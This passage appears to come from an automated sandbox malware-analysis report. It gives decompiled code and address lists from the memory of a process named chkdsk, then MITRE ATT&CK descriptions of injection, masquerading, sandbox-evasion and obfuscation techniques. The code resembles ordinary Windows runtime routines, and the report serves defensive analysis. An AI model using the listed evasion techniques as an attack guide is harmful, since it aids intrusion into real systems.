									E023E3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									E023E3F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E0241217A(_t71, __eflags, _t64);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E023E3F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									E023D3915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E023B5384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = E0238F970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											E023D3915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = E0238F970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												E023D3915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = E0238F970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = E023D3915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E023B5329(_t74, _t92);
													_push(1);
													_t48 = E023B53A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x023b53ab
0x023b53ae
0x023b53b1
0x023b53b4
0x023b53b7
0x023d05b6
0x023d05c0
0x023d05c3
0x00000000
0x023d05c9
0x023d05c9
0x023d05cc
0x023d05d5
0x023d05d5
0x023b53bd
0x023b53bd
0x023b53bd
0x023b53be
0x023b53be
0x023b53be
0x023b53c0
0x00000000
0x00000000
0x023f2269
0x023f226d
0x023f2349
0x023f234d
0x023f2273
0x023f2276
0x023f2279
0x023f227e
0x023f2283
0x023f2287
0x023f228a
0x023f228d
0x023f228f
0x023f22bc
0x023f22bc
0x023f22bc
0x023f22be
0x023f22c4
0x023f22cc
0x023f22d0
0x023f22d6
0x023f22d7
0x023f22da
0x023f22df
0x023f22e4
0x00000000
0x00000000
0x023f22e6
0x023f22e9
0x023f22f4
0x023f22f9
0x023f22fa
0x023f2305
0x023f2314
0x023f2319
0x023f231a
0x023f231d
0x023f2320
0x023f2323
0x023f2323
0x023f2328
0x023f232d
0x023f232f
0x023f2331
0x023f2336
0x023f2336
0x023f233b
0x023f233d
0x023f2350
0x023f2351
0x023f2356
0x023f2359
0x023f2359
0x023f235b
0x023f235d
0x023b5367
0x023b536b
0x023b5372
0x00000000
0x00000000
0x00000000
0x00000000
0x023f2363
0x023f2363
0x023f2369
0x023f236a
0x023f236c
0x023f2371
0x023f2373
0x00000000
0x023f2379
0x023f2379
0x023f237a
0x023f237f
0x023f237f
0x023f2385
0x023f2386
0x023f2389
0x023f238e
0x023f2390
0x023b5378
0x023b537c
0x023f2396
0x023f2396
0x023f2397
0x023f239c
0x023f23a2
0x023f23a3
0x023f23a6
0x023f23ab
0x023f23ad
0x00000000
0x023f23b3
0x023f23b3
0x023f23b4
0x023f23b9
0x023f23ba
0x023f23ba
0x023f23bc
0x023f23bf
0x00000000
0x00000000
0x023e9153
0x023e9158
0x023e915a
0x023e915e
0x023e9160
0x00000000
0x023e9166
0x023e9166
0x023e9171
0x023e9176
0x023e9176
0x00000000
0x023e9160
0x023f23c6
0x023f23cb
0x023f23ce
0x023f23d7
0x023f23d7
0x023f23ad
0x023f2390
0x023f2373
0x023f233f
0x023f233f
0x00000000
0x023f233f
0x023f2291
0x023f2291
0x023f2293
0x023f2295
0x023f229a
0x023f22a1
0x023f22a3
0x023f22a7
0x023f22a9
0x00000000
0x00000000
0x023f22ab
0x023f22ad
0x023f22af
0x00000000
0x00000000
0x00000000
0x023f22af
0x023f22b1
0x023f22b4
0x023f22b4
0x023f22b6
0x00000000
0x00000000
0x00000000
0x00000000
0x023f22b6
0x023f228f
0x00000000
0x023f226d
0x023b53cb
0x023b53ce
0x023b53d0
0x023b53d4
0x023b53d6
0x00000000
0x023b53d8
0x023b53e3
0x023b53ea
0x023b53ea
0x023b53d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023F22F4

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 023F22FC
RTL: Re-Waiting, xrefs: 023F2328
RTL: Resource at %p, xrefs: 023F230B

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 53fea3e0dab07b3629bd6896e3d35d0717a1803bf8b9042eb5f49b3489cb4d42
Instruction ID: 7b6b4eab337d33e0e2737e9a7538ceb9d7b0a8f697cc8a08a03c4a915c61e361
Opcode Fuzzy Hash: 53fea3e0dab07b3629bd6896e3d35d0717a1803bf8b9042eb5f49b3489cb4d42
Instruction Fuzzy Hash: 0D51E671601715ABEB619F68DC80FA773A9AF44324F104259FE09DB780E771E8468B90

Uniqueness

Uniqueness Score: -1.00%

Function 023BEC56 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E023BEC56(void* __ecx, void* __edx, intOrPtr* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __esi;
				intOrPtr _t38;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t44;
				void* _t46;
				intOrPtr _t48;
				signed int _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				signed char _t67;
				void* _t72;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t84;
				intOrPtr* _t85;
				void* _t91;
				void* _t92;
				void* _t93;

				_t80 = __edi;
				_t75 = __edx;
				_t70 = __ecx;
				_t84 = _a4;
				if( *((intOrPtr*)(_t84 + 0x10)) == 0) {
					E023ADA92(__ecx, __edx, __eflags, _t84);
					_t38 =  *((intOrPtr*)(_t84 + 0x10));
				}
				_push(0);
				__eflags = _t38 - 0xffffffff;
				if(_t38 == 0xffffffff) {
					_t39 =  *0x247793c; // 0x0
					_push(0);
					_push(_t84);
					_t40 = E023916C0(_t39);
				} else {
					_t40 = E0238F9D4(_t38);
				}
				_pop(_t85);
				__eflags = _t40;
				if(__eflags < 0) {
					_push(_t40);
					E023D3915(_t67, _t70, _t75, _t80, _t85, __eflags);
					asm("int3");
					while(1) {
						L21:
						_t76 =  *[fs:0x18];
						_t42 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						__eflags =  *(_t42 + 0x240) & 0x00000002;
						if(( *(_t42 + 0x240) & 0x00000002) != 0) {
							_v36 =  *(_t85 + 0x14) & 0x00ffffff;
							_v66 = 0x1722;
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_t76 =  &_v72;
							_push( &_v72);
							_v28 = _t85;
							_v40 =  *((intOrPtr*)(_t85 + 4));
							_v32 =  *((intOrPtr*)(_t85 + 0xc));
							_push(0x10);
							_push(0x20402);
							E023901A4( *0x7ffe0382 & 0x000000ff);
						}
						while(1) {
							_t43 = _v8;
							_push(_t80);
							_push(0);
							__eflags = _t43 - 0xffffffff;
							if(_t43 == 0xffffffff) {
								_t71 =  *0x247793c; // 0x0
								_push(_t85);
								_t44 = E02391F28(_t71);
							} else {
								_t44 = E0238F8CC(_t43);
							}
							__eflags = _t44 - 0x102;
							if(_t44 != 0x102) {
								__eflags = _t44;
								if(__eflags < 0) {
									_push(_t44);
									E023D3915(_t67, _t71, _t76, _t80, _t85, __eflags);
									asm("int3");
									E02412306(_t85);
									__eflags = _t67 & 0x00000002;
									if((_t67 & 0x00000002) != 0) {
										_t7 = _t67 + 2; // 0x4
										_t72 = _t7;
										asm("lock cmpxchg [edi], ecx");
										__eflags = _t67 - _t67;
										if(_t67 == _t67) {
											E023BEC56(_t72, _t76, _t80, _t85);
										}
									}
									return 0;
								} else {
									__eflags = _v24;
									if(_v24 != 0) {
										 *((intOrPtr*)(_v12 + 0xf84)) = 0;
									}
									return 2;
								}
								goto L36;
							}
							_t77 =  *((intOrPtr*)(_t80 + 4));
							_push(_t67);
							_t46 = E023D4FC0( *_t80, _t77, 0xff676980, 0xffffffff);
							_push(_t77);
							E023E3F92(0x65, 1, "RTL: Enter Critical Section Timeout (%I64u secs) %d\n", _t46);
							_t48 =  *_t85;
							_t92 = _t91 + 0x18;
							__eflags = _t48 - 0xffffffff;
							if(_t48 == 0xffffffff) {
								_t49 = 0;
								__eflags = 0;
							} else {
								_t49 =  *((intOrPtr*)(_t48 + 0x14));
							}
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_push(_t49);
							_t50 = _v12;
							_t76 =  *((intOrPtr*)(_t50 + 0x24));
							_push(_t85);
							_push( *((intOrPtr*)(_t85 + 0xc)));
							_push( *((intOrPtr*)(_t50 + 0x24)));
							E023E3F92(0x65, 0, "RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu\n",  *((intOrPtr*)(_t50 + 0x20)));
							_t53 =  *_t85;
							_t93 = _t92 + 0x20;
							_t67 = _t67 + 1;
							__eflags = _t53 - 0xffffffff;
							if(_t53 != 0xffffffff) {
								_t71 =  *((intOrPtr*)(_t53 + 0x14));
								_a4 =  *((intOrPtr*)(_t53 + 0x14));
							}
							__eflags = _t67 - 2;
							if(_t67 > 2) {
								__eflags = _t85 - 0x24720c0;
								if(_t85 != 0x24720c0) {
									_t76 = _a4;
									__eflags = _a4 - _a8;
									if(__eflags == 0) {
										E0241217A(_t71, __eflags, _t85);
									}
								}
							}
							_push("RTL: Re-Waiting\n");
							_push(0);
							_push(0x65);
							_a8 = _a4;
							E023E3F92();
							_t91 = _t93 + 0xc;
							__eflags =  *0x7ffe0382;
							if( *0x7ffe0382 != 0) {
								goto L21;
							}
						}
						goto L36;
					}
				} else {
					return _t40;
				}
				L36:
			}

0x023bec56
0x023bec56
0x023bec56
0x023bec5c
0x023bec64
0x023f23e6
0x023f23eb
0x023f23eb
0x023bec6a
0x023bec6c
0x023bec6f
0x023f23f3
0x023f23f8
0x023f23fa
0x023f23fc
0x023bec75
0x023bec76
0x023bec76
0x023bec7b
0x023bec7c
0x023bec7e
0x023f2406
0x023f2407
0x023f240c
0x023f240d
0x023f240d
0x023f240d
0x023f2414
0x023f2417
0x023f241e
0x023f2435
0x023f2438
0x023f243c
0x023f243f
0x023f2442
0x023f2443
0x023f2446
0x023f2449
0x023f2453
0x023f2455
0x023f245b
0x023f245b
0x023beb99
0x023beb99
0x023beb9c
0x023beb9d
0x023beb9f
0x023beba2
0x023f2465
0x023f246b
0x023f246d
0x023beba8
0x023beba9
0x023beba9
0x023bebae
0x023bebb3
0x023bebb9
0x023bebbb
0x023f2513
0x023f2514
0x023f2519
0x023f251b
0x023bec2a
0x023bec2d
0x023bec33
0x023bec36
0x023bec3a
0x023bec3e
0x023bec40
0x023bec47
0x023bec47
0x023bec40
0x023922c6
0x023bebc1
0x023bebc1
0x023bebc5
0x023bec9a
0x023bec9a
0x023bebd6
0x023bebd6
0x00000000
0x023bebbb
0x023f2477
0x023f247c
0x023f2486
0x023f248b
0x023f2496
0x023f249b
0x023f249d
0x023f24a0
0x023f24a3
0x023f24aa
0x023f24aa
0x023f24a5
0x023f24a5
0x023f24a5
0x023f24ac
0x023f24af
0x023f24b0
0x023f24b3
0x023f24b9
0x023f24ba
0x023f24bb
0x023f24c6
0x023f24cb
0x023f24cd
0x023f24d0
0x023f24d1
0x023f24d4
0x023f24d6
0x023f24d9
0x023f24d9
0x023f24dc
0x023f24df
0x023f24e1
0x023f24e7
0x023f24e9
0x023f24ec
0x023f24ef
0x023f24f2
0x023f24f2
0x023f24ef
0x023f24e7
0x023f24fa
0x023f24ff
0x023f2501
0x023f2503
0x023f2506
0x023f250b
0x023beb8c
0x023beb93
0x00000000
0x00000000
0x023beb93
0x00000000
0x023beb99
0x023bec85
0x023bec85
0x023bec85
0x00000000

Strings

RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 023F248D
RTL: Re-Waiting, xrefs: 023F24FA
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 023F24BD

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: 7816b595808c3370cad322c74d866344e8a92094b6d4ff897033e60573083bd5
Instruction ID: 6391b6fac6ca7440c9b9051c49f3d43f0af403f910edc8336871d1992c8f960b
Opcode Fuzzy Hash: 7816b595808c3370cad322c74d866344e8a92094b6d4ff897033e60573083bd5
Instruction Fuzzy Hash: 8041C2B0600204ABDB20DF68DC85FAB77A9EF45320F108605FA699B6D1D774E941CB61

Uniqueness

Uniqueness Score: -1.00%

Function 023CFCC9 Relevance: 6.3, APIs: 4, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E023CFCC9(signed short* _a4, char _a7, signed short** _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t105;
				void* _t110;
				char _t114;
				short _t115;
				void* _t118;
				signed short* _t119;
				short _t120;
				char _t122;
				void* _t127;
				void* _t130;
				signed int _t136;
				intOrPtr _t143;
				signed int _t158;
				signed short* _t164;
				signed int _t167;
				void* _t170;

				_t158 = 0;
				_t164 = _a4;
				_v20 = 0;
				_v24 = 0;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v28 = 0;
				_t136 = 0;
				while(1) {
					_t167 =  *_t164 & 0x0000ffff;
					if(_t167 == _t158) {
						break;
					}
					_t118 = _v20 - _t158;
					if(_t118 == 0) {
						if(_t167 == 0x3a) {
							if(_v12 > _t158 || _v8 > _t158) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									break;
								}
								_t143 = 2;
								 *((short*)(_a12 + _t136 * 2)) = 0;
								_v28 = 1;
								_v8 = _t143;
								_t136 = _t136 + 1;
								L47:
								_t164 = _t119;
								_v20 = _t143;
								L14:
								if(_v24 == _t158) {
									L19:
									_t164 =  &(_t164[1]);
									_t158 = 0;
									continue;
								}
								if(_v12 == _t158) {
									if(_v16 > 4) {
										L29:
										return 0xc000000d;
									}
									_t120 = E023CEE02(_v24, _t158, 0x10);
									_t170 = _t170 + 0xc;
									 *((short*)(_a12 + _t136 * 2)) = _t120;
									_t136 = _t136 + 1;
									goto L19;
								}
								if(_v16 > 3) {
									goto L29;
								}
								_t122 = E023CEE02(_v24, _t158, 0xa);
								_t170 = _t170 + 0xc;
								if(_t122 > 0xff) {
									goto L29;
								}
								 *((char*)(_v12 + _t136 * 2 + _a12 - 1)) = _t122;
								goto L19;
							}
						}
						L21:
						if(_v8 > 7 || _t167 >= 0x80) {
							break;
						} else {
							if(E023C685D(_t167, 4) == 0) {
								if(E023C685D(_t167, 0x80) != 0) {
									if(_v12 > 0) {
										break;
									}
									_t127 = 1;
									_a7 = 1;
									_v24 = _t164;
									_v20 = 1;
									_v16 = 1;
									L36:
									if(_v20 == _t127) {
										goto L19;
									}
									_t158 = 0;
									goto L14;
								}
								break;
							}
							_a7 = 0;
							_v24 = _t164;
							_v20 = 1;
							_v16 = 1;
							goto L19;
						}
					}
					_t130 = _t118 - 1;
					if(_t130 != 0) {
						if(_t130 == 1) {
							goto L21;
						}
						_t127 = 1;
						goto L36;
					}
					if(_t167 >= 0x80) {
						L7:
						if(_t167 == 0x3a) {
							_t158 = 0;
							if(_v12 > 0 || _v8 > 6) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									_v8 = _v8 + 1;
									L13:
									_v20 = _t158;
									goto L14;
								}
								if(_v28 != 0) {
									break;
								}
								_v28 = _v8 + 1;
								_t143 = 2;
								_v8 = _v8 + _t143;
								goto L47;
							}
						}
						if(_t167 != 0x2e || _a7 != 0 || _v12 > 2 || _v8 > 6) {
							break;
						} else {
							_v12 = _v12 + 1;
							_t158 = 0;
							goto L13;
						}
					}
					if(E023C685D(_t167, 4) != 0) {
						_v16 = _v16 + 1;
						goto L19;
					}
					if(E023C685D(_t167, 0x80) != 0) {
						_v16 = _v16 + 1;
						if(_v12 > 0) {
							break;
						}
						_a7 = 1;
						goto L19;
					}
					goto L7;
				}
				 *_a8 = _t164;
				if(_v12 != 0) {
					if(_v12 != 3) {
						goto L29;
					}
					_v8 = _v8 + 1;
				}
				if(_v28 != 0 || _v8 == 7) {
					if(_v20 != 1) {
						if(_v20 != 2) {
							goto L29;
						}
						 *((short*)(_a12 + _t136 * 2)) = 0;
						L65:
						_t105 = _v28;
						if(_t105 != 0) {
							_t98 = (_t105 - _v8) * 2; // 0x11
							E023A8980(_a12 + _t98 + 0x10, _a12 + _t105 * 2, _v8 - _t105 + _v8 - _t105);
							_t110 = 8;
							E0239DFC0(_a12 + _t105 * 2, 0, _t110 - _v8 + _t110 - _v8);
						}
						return 0;
					}
					if(_v12 != 0) {
						if(_v16 > 3) {
							goto L29;
						}
						_t114 = E023CEE02(_v24, 0, 0xa);
						_t170 = _t170 + 0xc;
						if(_t114 > 0xff) {
							goto L29;
						}
						 *((char*)(_v12 + _t136 * 2 + _a12)) = _t114;
						goto L65;
					}
					if(_v16 > 4) {
						goto L29;
					}
					_t115 = E023CEE02(_v24, 0, 0x10);
					_t170 = _t170 + 0xc;
					 *((short*)(_a12 + _t136 * 2)) = _t115;
					goto L65;
				} else {
					goto L29;
				}
			}

0x023cfcd1
0x023cfcd6
0x023cfcd9
0x023cfcdc
0x023cfcdf
0x023cfce2
0x023cfce5
0x023cfce8
0x023cfceb
0x023cfced
0x023cfced
0x023cfcf3
0x00000000
0x00000000
0x023cfcfc
0x023cfcfe
0x023cfdc1
0x023fecbd
0x00000000
0x023feccc
0x023feccc
0x023fecd2
0x00000000
0x00000000
0x023fecdf
0x023fece0
0x023fece4
0x023feceb
0x023fecee
0x023feca8
0x023feca8
0x023fecaa
0x023cfd76
0x023cfd79
0x023cfdb4
0x023cfdb5
0x023cfdb6
0x00000000
0x023cfdb6
0x023cfd7e
0x023fecfc
0x023cfe2f
0x00000000
0x023cfe2f
0x023fed08
0x023fed0f
0x023fed17
0x023fed1b
0x00000000
0x023fed1b
0x023cfd88
0x00000000
0x00000000
0x023cfd94
0x023cfd99
0x023cfda1
0x00000000
0x00000000
0x023cfdb0
0x00000000
0x023cfdb0
0x023fecbd
0x023cfdc7
0x023cfdcb
0x00000000
0x023cfdd7
0x023cfde3
0x023cfe06
0x023e1fe7
0x00000000
0x00000000
0x023e1fef
0x023e1ff0
0x023e1ff4
0x023e1ff7
0x023e1ffa
0x023e1ffd
0x023e2000
0x00000000
0x00000000
0x023fecf1
0x00000000
0x023fecf1
0x00000000
0x023cfe06
0x023cfde8
0x023cfdec
0x023cfdef
0x023cfdf2
0x00000000
0x023cfdf2
0x023cfdcb
0x023cfd04
0x023cfd05
0x023fec67
0x00000000
0x00000000
0x023fec6f
0x00000000
0x023fec6f
0x023cfd13
0x023cfd3c
0x023cfd40
0x023fec75
0x023fec7a
0x00000000
0x023fec8a
0x023fec8a
0x023fec90
0x023fecb2
0x023cfd73
0x023cfd73
0x00000000
0x023cfd73
0x023fec95
0x00000000
0x00000000
0x023feca1
0x023feca4
0x023feca5
0x00000000
0x023feca5
0x023fec7a
0x023cfd4a
0x00000000
0x023cfd6e
0x023cfd6e
0x023cfd71
0x00000000
0x023cfd71
0x023cfd4a
0x023cfd21
0x023da3a1
0x00000000
0x023da3a1
0x023cfd36
0x023e200b
0x023e2012
0x00000000
0x00000000
0x023e2018
0x00000000
0x023e2018
0x00000000
0x023cfd36
0x023cfe0f
0x023cfe16
0x023da3ad
0x00000000
0x00000000
0x023da3b3
0x023da3b3
0x023cfe1f
0x023fed25
0x023fed86
0x00000000
0x00000000
0x023fed91
0x023fed95
0x023fed95
0x023fed9a
0x023fedad
0x023fedb3
0x023fedba
0x023fedc4
0x023fedc9
0x00000000
0x023fedcc
0x023fed2a
0x023fed55
0x00000000
0x00000000
0x023fed61
0x023fed66
0x023fed6e
0x00000000
0x00000000
0x023fed7d
0x00000000
0x023fed7d
0x023fed30
0x00000000
0x00000000
0x023fed3c
0x023fed43
0x023fed4b
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__fassign.LIBCMT ref: 023CFD94

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: a67952ede27e6ca1850c6af3e676258e954f18e73ab40bb269cdcae2263634d8
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 51918C71D0020AEFDF24DFA8C8457AEB7B6EB45709F30846FD405A6692E7309E41CB91

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
